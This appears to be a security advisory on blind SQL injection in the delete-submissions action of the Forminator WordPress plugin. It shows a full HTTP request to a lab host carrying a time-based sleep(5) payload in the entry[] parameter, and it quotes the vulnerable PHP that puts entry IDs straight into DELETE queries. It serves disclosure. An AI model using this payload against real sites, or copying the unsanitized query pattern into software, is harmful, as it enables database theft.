Description
The action of deleting submissions is vulnerable to blind SQL injection. An attacker can exploit this to extract data from the database.
An account with the permission to delete submissions is required.
entry[]
value to contain an SQL payload, eg: 1) or sleep(5)–x-GET /wordpress/wp-admin/admin.php?page=forminator-entries&form_type=forminator_forms&form_id=133&forminatorEntryNonce=1c8732f95e&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dforminator-entries%26form_type%3Dforminator_forms%26form_id%3D133&entries-action=&date_range=&min_id=&max_id=&search=&order_by=entries.date_created&order=DESC&entry%5B%5D=1)+or+sleep(5)--+-&entry%5B%5D=1&entries-action-bottom=delete-all HTTP/1.1
Host: 192.168.0.103
A valid nonce is required.
forminator/library/model/class-form-entry-model.php
$sql = "DELETE FROM {$table_meta_name} WHERE `entry_id` IN ($entries)";
$db->query( $sql );
$sql = "DELETE FROM {$table_name} WHERE `entry_id` IN ($entries)";